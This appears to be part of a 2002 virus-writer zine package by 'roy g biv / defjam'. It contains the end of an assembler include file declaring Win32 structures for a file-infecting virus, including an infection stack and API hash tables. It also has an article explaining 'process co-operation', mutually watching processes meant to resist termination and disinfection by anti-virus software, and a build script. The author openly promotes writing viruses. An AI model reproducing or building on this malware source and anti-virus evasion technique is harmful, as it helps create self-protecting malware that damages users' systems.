IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h
|
|||
|
|
|||
|
IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2
|
|||
|
IMAGE_SUBSYSTEM_WINDOWS_CUI equ 3
|
|||
|
|
|||
|
SECTION_MAP_WRITE equ 0002h
|
|||
|
|
|||
|
FILE_MAP_WRITE equ SECTION_MAP_WRITE
|
|||
|
|
|||
|
PAGE_READWRITE equ 04
|
|||
|
|
|||
|
SLEEPLEN equ 01
|
|||
|
TIMEOUT equ 03 ;seconds to wait for remote process to signal
|
|||
|
;should be >= INT((SLEEPLEN * 2.5) + 0.5)
|
|||
|
|
|||
|
RANDPADMIN equ 4096
|
|||
|
RANDPADMAX equ 2048 ;RANDPADMIN is added to this
|
|||
|
|
|||
|
align 1 ;byte-packed structures
|
|||
|
expcrcstk struct
|
|||
|
pWriteFile dd ?
|
|||
|
pWinExec dd ?
|
|||
|
pSetFileAttributesA dd ?
|
|||
|
pMoveFileA dd ?
|
|||
|
pGlobalFree dd ?
|
|||
|
pGlobalAlloc dd ?
|
|||
|
pGetWindowsDirectoryA dd ?
|
|||
|
pGetTickCount dd ?
|
|||
|
pGetTempFileNameA dd ?
|
|||
|
pGetFileAttributesA dd ?
|
|||
|
pDeleteFileA dd ?
|
|||
|
pCreateFileA dd ?
|
|||
|
pCloseHandle dd ?
|
|||
|
expcrcstk ends
|
|||
|
expcrc_count equ size expcrcstk shr 2
|
|||
|
|
|||
|
krncrcstk struct
|
|||
|
kWaitForSingleObject dd ?
|
|||
|
kUnmapViewOfFile dd ?
|
|||
|
kSleep dd ?
|
|||
|
kSetFileTime dd ?
|
|||
|
kSetFileAttributesW dd ?
|
|||
|
kSetFileAttributesA dd ?
|
|||
|
kSetEvent dd ?
|
|||
|
kSetCurrentDirectoryW dd ?
|
|||
|
kSetCurrentDirectoryA dd ?
|
|||
|
kResetEvent dd ?
|
|||
|
kReadProcessMemory dd ?
|
|||
|
kOpenProcess dd ?
|
|||
|
kOpenEventA dd ?
|
|||
|
kMultiByteToWideChar dd ?
|
|||
|
kMapViewOfFile dd ?
|
|||
|
kLoadLibraryA dd ?
|
|||
|
kGlobalFree dd ?
|
|||
|
kGlobalAlloc dd ?
|
|||
|
kGetVersion dd ?
|
|||
|
kGetTickCount dd ?
|
|||
|
kGetStartupInfoA dd ?
|
|||
|
kGetFullPathNameW dd ?
|
|||
|
kGetFullPathNameA dd ?
|
|||
|
kGetDriveTypeA dd ?
|
|||
|
kGetCurrentProcessId dd ?
|
|||
|
kGetCommandLineA dd ?
|
|||
|
kFindNextFileW dd ?
|
|||
|
kFindNextFileA dd ?
|
|||
|
kFindFirstFileW dd ?
|
|||
|
kFindFirstFileA dd ?
|
|||
|
kFindClose dd ?
|
|||
|
kCreateThread dd ?
|
|||
|
kCreateProcessA dd ?
|
|||
|
kCreateFileMappingA dd ?
|
|||
|
kCreateFileW dd ?
|
|||
|
kCreateFileA dd ?
|
|||
|
kCreateEventA dd ?
|
|||
|
kCloseHandle dd ?
|
|||
|
krncrcstk ends
|
|||
|
krncrc_count equ size krncrcstk shr 2
|
|||
|
|
|||
|
sfccrcstk struct
|
|||
|
sSfcIsFileProtected dd ?
|
|||
|
sfccrcstk ends
|
|||
|
sfccrc_count equ size sfccrcstk shr 2
|
|||
|
|
|||
|
startupinfo struct
|
|||
|
sicb dd ?
|
|||
|
siReserved dd ?
|
|||
|
siDesktop dd ?
|
|||
|
siTitle dd ?
|
|||
|
sidwX dd ?
|
|||
|
sidwY dd ?
|
|||
|
sidwXSize dd ?
|
|||
|
sidwYSize dd ?
|
|||
|
sidwXCountChars dd ?
|
|||
|
sidwYCountChars dd ?
|
|||
|
sidwFillAttribute dd ?
|
|||
|
sidwFlags dd ?
|
|||
|
siwShowWindow dw ?
|
|||
|
sicbReserved2 dw ?
|
|||
|
silpReserved2 dd ?
|
|||
|
sihStdInput dd ?
|
|||
|
sihStdOutput dd ?
|
|||
|
sihStdError dd ?
|
|||
|
startupinfo ends
|
|||
|
|
|||
|
processinfo struct
|
|||
|
pihProcess dd ?
|
|||
|
pihThread dd ?
|
|||
|
pidwProcessId dd ?
|
|||
|
pidwThreadId dd ?
|
|||
|
processinfo ends
|
|||
|
|
|||
|
coffhdr struct
|
|||
|
pemachine dw ? ;04
|
|||
|
pesectcount dw ? ;06
|
|||
|
petimedate dd ? ;08
|
|||
|
pesymbrva dd ? ;0C
|
|||
|
pesymbcount dd ? ;10
|
|||
|
peopthdrsize dw ? ;14
|
|||
|
peflags dw ? ;16
|
|||
|
coffhdr ends
|
|||
|
|
|||
|
pedir struct
|
|||
|
dirrva dd ?
|
|||
|
dirsize dd ?
|
|||
|
pedir ends
|
|||
|
|
|||
|
pehdr struct
|
|||
|
pesig dd ? ;00
|
|||
|
pecoff coffhdr <?>
|
|||
|
pemagic dw ? ;18
|
|||
|
pemajorlink db ? ;1A
|
|||
|
peminorlink db ? ;1B
|
|||
|
pecodesize dd ? ;1C
|
|||
|
peidatasize dd ? ;20
|
|||
|
peudatasize dd ? ;24
|
|||
|
peentrypoint dd ? ;28
|
|||
|
pecodebase dd ? ;2C
|
|||
|
pedatabase dd ? ;30
|
|||
|
peimagebase dd ? ;34
|
|||
|
pesectalign dd ? ;38
|
|||
|
pefilealign dd ? ;3C
|
|||
|
pemajoros dw ? ;40
|
|||
|
peminoros dw ? ;42
|
|||
|
pemajorimage dw ? ;44
|
|||
|
peminorimage dw ? ;46
|
|||
|
pemajorsubsys dw ? ;48
|
|||
|
peminorsubsys dw ? ;4A
|
|||
|
pereserved dd ? ;4C
|
|||
|
peimagesize dd ? ;50
|
|||
|
pehdrsize dd ? ;54
|
|||
|
pechksum dd ? ;58
|
|||
|
pesubsys dw ? ;5C
|
|||
|
pedllflags dw ? ;5E
|
|||
|
pestackmax dd ? ;60
|
|||
|
pestacksize dd ? ;64
|
|||
|
peheapmax dd ? ;68
|
|||
|
peheapsize dd ? ;6C
|
|||
|
peldrflags dd ? ;70
|
|||
|
pervacount dd ? ;74
|
|||
|
peexport pedir <?> ;78
|
|||
|
peimport pedir <?> ;80
|
|||
|
persrc pedir <?> ;88
|
|||
|
peexcpt pedir <?> ;90
|
|||
|
pesecurity pedir <?> ;98
|
|||
|
pereloc pedir <?> ;A0
|
|||
|
pedebug pedir <?> ;A8
|
|||
|
pearch pedir <?> ;B0
|
|||
|
peglobal pedir <?> ;B8
|
|||
|
petls pedir <?> ;C0
|
|||
|
peconfig pedir <?> ;C8
|
|||
|
pebound pedir <?> ;D0
|
|||
|
peiat pedir <?> ;D8
|
|||
|
pedelay pedir <?> ;E0
|
|||
|
pecom pedir <?> ;E8
|
|||
|
persrv pedir <?> ;F0
|
|||
|
pehdr ends
|
|||
|
|
|||
|
peexp struct
|
|||
|
expflags dd ?
|
|||
|
expdatetime dd ?
|
|||
|
expmajorver dw ?
|
|||
|
expminorver dw ?
|
|||
|
expdllrva dd ?
|
|||
|
expordbase dd ?
|
|||
|
expadrcount dd ?
|
|||
|
expnamecount dd ?
|
|||
|
expadrrva dd ?
|
|||
|
expnamerva dd ?
|
|||
|
expordrva dd ?
|
|||
|
peexp ends
|
|||
|
|
|||
|
mzhdr struct
|
|||
|
mzsig dw ? ;00
|
|||
|
mzpagemod dw ? ;02
|
|||
|
mzpagediv dw ? ;04
|
|||
|
mzrelocs dw ? ;06
|
|||
|
mzhdrsize dw ? ;08
|
|||
|
mzminalloc dw ? ;0A
|
|||
|
mzmaxalloc dw ? ;0C
|
|||
|
mzss dw ? ;0E
|
|||
|
mzsp dw ? ;10
|
|||
|
mzchksum dw ? ;12
|
|||
|
mzip dw ? ;14
|
|||
|
mzcs dw ? ;16
|
|||
|
mzreloff dw ? ;18
|
|||
|
mzfiller db 22h dup (?) ;1A
|
|||
|
mzlfanew dd ? ;3C
|
|||
|
mzhdr ends
|
|||
|
|
|||
|
FILETIME struct
|
|||
|
dwLowDateTime dd ?
|
|||
|
dwHighDateTime dd ?
|
|||
|
FILETIME ends
|
|||
|
|
|||
|
WIN32_FIND_DATA struct
|
|||
|
dwFileAttributes dd ?
|
|||
|
ftCreationTime FILETIME <?>
|
|||
|
ftLastAccessTime FILETIME <?>
|
|||
|
ftLastWriteTime FILETIME <?>
|
|||
|
dwFileSizeHigh dd ?
|
|||
|
dwFileSizeLow dd ?
|
|||
|
dwReserved0 dd ?
|
|||
|
dwReserved1 dd ?
|
|||
|
cFileName dw 260 dup (?)
|
|||
|
cAlternateFileName dw 14 dup (?)
|
|||
|
WIN32_FIND_DATA ends
|
|||
|
|
|||
|
findlist struct
|
|||
|
findprev dd ?
|
|||
|
findhand dd ?
|
|||
|
finddata WIN32_FIND_DATA <?>
|
|||
|
findlist ends
|
|||
|
|
|||
|
sehstruc struct
|
|||
|
sehkrnlret dd ?
|
|||
|
sehexcptrec dd ?
|
|||
|
sehprevseh dd ?
|
|||
|
sehstruc ends
|
|||
|
|
|||
|
pesect struct
|
|||
|
sectname db 8 dup (?)
|
|||
|
sectvirtsize dd ?
|
|||
|
sectvirtaddr dd ?
|
|||
|
sectrawsize dd ?
|
|||
|
sectrawaddr dd ?
|
|||
|
sectreladdr dd ?
|
|||
|
sectlineaddr dd ?
|
|||
|
sectrelcount dw ?
|
|||
|
sectlinecount dw ?
|
|||
|
sectflags dd ?
|
|||
|
pesect ends
|
|||
|
|
|||
|
mapsehstk struct
|
|||
|
mapsehprev dd ?
|
|||
|
mapsehexcpt dd ?
|
|||
|
mapsehregs dd 8 dup (?)
|
|||
|
mapsehsehret dd ?
|
|||
|
mapsehinfret dd ?
|
|||
|
mapsehstk ends
|
|||
|
|
|||
|
infectstk struct
|
|||
|
inffilesize dd ?
|
|||
|
infseh mapsehstk <?>
|
|||
|
infectstk ends
|
|||
|
|
|||
|
align ;restore default alignment
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[GEMINI.INC]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[TWINS.TXT]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
I get by with a little help
|
|||
|
from my friends
|
|||
|
roy g biv / defjam
|
|||
|
|
|||
|
-= defjam =-
|
|||
|
since 1992
|
|||
|
bringing you the viruses of tomorrow
|
|||
|
today!
|
|||
|
|
|||
|
|
|||
|
About the author:
|
|||
|
|
|||
|
Former DOS/Win16 virus writer, author of several virus families, including
|
|||
|
Ginger (see Coderz #1 zine for terrible buggy example, contact me for better
|
|||
|
sources ;), and Virus Bulletin 9/95 for a description of what they called
|
|||
|
Rainbow. Co-author of world's first virus using circular partition trick
|
|||
|
(Orsam, coded with Prototype in 1993). Designer of the world's first XMS
|
|||
|
swapping virus (John Galt, coded by RTFishel in 1995, only 30 bytes stub, the
|
|||
|
rest is swapped out). Author of world's first virus using Thread Local
|
|||
|
Storage for replication (Shrug) and world's first Native executable virus
|
|||
|
(Chthon). Author of various retrovirus articles (eg see Vlad #7 for the
|
|||
|
strings that make your code invisible to TBScan). Went to sleep for a number
|
|||
|
of years. This is my fifth virus for Win32.
|
|||
|
|
|||
|
I'm also available for joining a group. Just in case anyone is interested. ;)
|
|||
|
|
|||
|
|
|||
|
What is process co-operation?
|
|||
|
|
|||
|
Process co-operation is a technique where one process verifies the state of
|
|||
|
another process, and the other process verifies the state of the one process.
|
|||
|
There can also be more than two processes involved. If we consider the case
|
|||
|
of two processses, one process is called "Local" and the other process is
|
|||
|
called "Remote", then the Local process can ensure that the Remote process is
|
|||
|
still running; the Local process can ensure that the Remote process is still
|
|||
|
active (that is has not been suspended); the Local process can ensure that the
|
|||
|
Remote process has not been altered. If the Remote process has been altered
|
|||
|
or terminated, then the Local process can start a new instance of the Remote
|
|||
|
process; if the Remote process has been suspended, then the Local process can
|
|||
|
resume the Remote process or start a new instance of the Remote process. If
|
|||
|
the Remote process contains the same code, then the Remote process can ensure
|
|||
|
the same things about the Local process and perform the same actions in
|
|||
|
response. This makes it a very powerful technique to protect against forced
|
|||
|
termination and "disinfection" of the memory image by AV softwares.
|
|||
|
|
|||
|
This is not a new technique, but this seems to be the first time on Windows.
|
|||
|
The earliest reference that I found is the mid 1970s (older than me ;) ).
|
|||
|
(www.tuxedo.org/~esr/jargon/jargon.html#The%20Meaning%20of%20Hack)
|
|||
|
|
|||
|
Let's see the algorithm for one process that runs as two instances.
|
|||
|
First there is some startup code:
|
|||
|
|
|||
|
if argc == 1 ;first time execution
|
|||
|
{
|
|||
|
restart:
|
|||
|
do
|
|||
|
{
|
|||
|
event1 = true ;set initial states
|
|||
|
event2 = false ;set intial states
|
|||
|
pid2 = run(process2, pid1) ;run second instance
|
|||
|
}
|
|||
|
while !wait (event2, timeout) ;loop if Remote process dies
|
|||
|
}
|
|||
|
|
|||
|
So now we have two instances running. We enter the main loop:
|
|||
|
|
|||
|
process 1 (Local) process 2 (Remote)
|
|||
|
|
|||
|
do do
|
|||
|
{ {
|
|||
|
if event1 if event2
|
|||
|
break break
|
|||
|
event2 = false event1 = false
|
|||
|
if !checksum(pid2) if !checksum(pid1)
|
|||
|
break break
|
|||
|
event1 = true event2 = true
|
|||
|
} }
|
|||
|
while wait (event2, timeout) while wait (event1, timeout)
|
|||
|
goto restart goto restart
|
|||
|
|
|||
|
Let's examine line by line:
|
|||
|
|
|||
|
if event1
|
|||
|
break
|
|||
|
|
|||
|
If the Local event was not reset by the Remote process, then we think that the
|
|||
|
Remote process is suspended or terminated, so we exit the loop and restart the
|
|||
|
Remote process.
|
|||
|
|
|||
|
event2 = false
|
|||
|
|
|||
|
Reset the Remote event. Dis is one half ;) of the "I'm alive" checking.
|
|||
|
|
|||
|
if !checksum(pid2)
|
|||
|
break
|
|||
|
|
|||
|
If the Remote checksum fails then the memory image of the Remote process has
|
|||
|
been altered, so we exit the loop and restart the Remote process.
|
|||
|
|
|||
|
event1 = true
|
|||
|
|
|||
|
Set the Local event. This is the other half of the "I'm alive" checking.
|
|||
|
|
|||
|
while wait (event2, timeout)
|
|||
|
|
|||
|
Loop while Remote event signals before timeout expires.
|
|||
|
|
|||
|
That's it. So simple. We are ready for ourselves. Are you?
|
|||
|
|
|||
|
|
|||
|
Greets to the old Defjam crew:
|
|||
|
|
|||
|
Prototype, RTFishel, Obleak, and The Gingerbread Man
|
|||
|
|
|||
|
|
|||
|
rgb/dj feb 2002
|
|||
|
iam_rgb@hotmail.com
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[TWINS.TXT]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[MAKE.BAT]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
@echo off
|
|||
|
if %1.==. goto usage
|
|||
|
%tasm32%\bin\tasm32 /r /ml /m9 /os /p /q /w2 /zn %1
|
|||
|
if errorlevel 1 goto end
|
|||
|
%tasm32%\bin\tlink32 /c /B:400000 /Tpe /aa /x /n %1.obj,,,%tasm32%\lib\import32.lib,
|
|||
|
del %1.obj
|
|||
|
goto end
|
|||
|
|
|||
|
:usage
|
|||
|
echo.
|
|||
|
echo Usage: MAKE filename
|
|||
|
echo eg. MAKE EFISHNC
|
|||
|
echo requires %tasm32% set to TASM directory (eg C:\TASM)
|
|||
|
|
|||
|
:end
|
|||
|
echo.
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[MAKE.BAT]<EFBFBD><EFBFBD><EFBFBD>
|